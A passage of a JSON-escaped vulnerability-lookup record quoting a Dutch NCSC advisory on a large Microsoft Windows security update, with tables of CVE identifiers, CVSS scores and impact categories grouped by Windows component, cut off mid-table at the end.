\n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-15T01:01:30.757389Z"}, {"uuid": "a5308bb2-eae9-487a-b1aa-284607a83058", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54996", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | 